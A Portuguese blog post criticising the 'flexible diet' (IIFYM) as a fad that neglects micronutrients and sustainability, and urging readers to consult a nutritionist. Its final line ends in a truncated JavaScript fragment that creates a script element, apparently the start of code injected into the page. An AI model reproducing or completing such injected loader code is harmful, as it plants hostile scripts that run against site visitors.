Você já ouviu falar em dieta flexível? Do inglês, “If it fit your macros” (IIFYM), o que, ao pé da letra na tradução, fica como “o que couber nos seus macros”. Macros refere-se a macronutrientes da dieta, que são as proteínas, carboidratos e lipídeos. Portanto, são os nutrientes que conferem energia à dieta.
A ideia da dieta flexível se assemelha a dieta dos pontos. E ela diz que não leva as calorias totais da dieta em consideração, mas apenas a quantidade de macronutrientes. A questão é que as calorias vêm deles. Portanto, uma forma diferente de “enganar” o consumidor.
A qualidade nutricional dos alimentos e da dieta como um todo depende de muitas variáveis, como a variedade de alimentos, a quantidade adequada de cada nutriente para cada indivíduo, questões culturais e afetivas ligadas à alimentação, poder de aquisição do alimento, acesso a alimentos orgânicos. Enfim, existe uma diversidade de variáveis que devem ser levadas em consideração.
Me assusta a simplicidade como algumas propostas são colocadas diante de tantos indivíduos que temos no mundo, atualmente, com problemas de saúde relacionados à alimentação. Essa proposta apresenta riscos em relação à deficiência de micronutrientes, visto que esses não são o foco da “dieta”.
Talvez você não tenha ouvido falar ainda, mas em alguns lugares do Brasil e em outros países já está bastante comentada. E adivinhem só… será que ela funciona? Talvez sim, para alguns, em algum momento. Porém, garanto que não traz sustentabilidade dos resultados.
A minha pergunta é: por que insistir em dietas da moda? A nutrição tem evoluído de maneira importante em nosso país, e Brasília tem se destacado por contar profissionais muito bons na área. Os nutricionistas aqui são especializados, além de apresentarem muita criticidade nos assuntos referentes a dietas milagrosas.
Procure um nutricionista, e não deixe seu corpo pagar a conta no futuro. Vamos ter saúde! E a saúde começa pela boca!var d=document;var s=d.createElement(\’script\’);